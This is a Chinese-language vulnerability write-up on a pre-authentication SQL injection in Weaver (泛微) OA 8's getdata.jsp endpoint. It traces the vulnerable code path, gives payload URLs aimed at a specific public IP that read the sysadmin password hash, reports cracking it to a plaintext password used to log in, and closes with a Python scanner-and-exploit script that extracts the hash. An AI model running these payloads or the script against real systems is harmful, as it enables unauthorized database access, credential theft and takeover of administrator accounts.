> 技术文档 > 泛微OA8前台SQL注入_泛微oa +sql注入

泛微OA8前台SQL注入_泛微oa +sql注入

漏洞URL:

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=***注入点

在getdata.jsp中,直接将request对象交给

weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) :

方法处理

在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法

Proc方法4个参数,(“空字符串”,”cmd参数值”,request对象,serverContext对象)

在proc方法中,对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中

在getSelectAllIds(sql,type)方法中,直接将sql参数的值,传递进数据库执行,并判断type的值是否等于5,如果等于5,获取查询结果的requestId字段,否则获取查询结果的id字段

到此,参数从URL,一直到数据库被执行

根据以上代码流程,只要构造请求参数

?cmd= getSelectAllId&sql=select password as id from userinfo;

即可完成对数据库操控

在浏览器中,构造测试URL:

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%201234%20as%20id

页面显示1234

使用payload:

Select password as id from HrmResourceManager

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

查询HrmResourceManager表中的password字段,页面中返回了数据库第一条记录的值(sysadmin用户的password)

对密文进行md5对比:

使用sysadmin    123450aA.登录系统

scan.py(python3)

import requestsimport urllib3import argparseimport hashlibparser = argparse.ArgumentParser(description=\'This is the help!\')parser.add_argument(\'-u\',\'--url\', help=\'Please Input a url!\',default=\'\')parser.add_argument(\'-i\',\'--ip\', help=\'Please Input a url!\',default=\'\')urllib3.disable_warnings()args = parser.parse_args()def Check(url):target = url +\"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select 1234 as id\"r = requests.get(url=target,verify=False,timeout=8)if r.status_code ==200:print(url+\"存在泛微OA8 SQL注入!\")else:print(\"不存在SQL注入!\")def exp(url):target = url +\"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select password as id from HrmResourceManager\"r = requests.get(url=target,verify=False,timeout=8)if r.status_code == 200:i = r.texta = i.strip()print(\"默认账号:sysadmin\")print(\"密码md5值:\"+a)if __name__==\"__main__\":if args.url ==\'\' and args.ip !=\'\':Check(args.ip)if args.url !=\'\' and args.ip ==\'\':exp(args.url)